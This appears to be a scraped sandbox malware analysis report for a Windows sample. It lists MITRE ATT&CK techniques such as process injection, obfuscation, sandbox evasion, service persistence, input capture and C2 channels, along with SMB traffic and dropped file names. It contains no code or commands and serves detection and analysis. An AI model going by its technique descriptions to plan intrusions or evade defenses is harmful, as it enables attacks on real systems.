Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.176:445	Jump to behavior

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report goN6vVlV2F

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

C:\Windows\eee.exe

C:\Windows\mssecsvr.exe

C:\Windows\tasksche.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
goN6vVlV2F

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre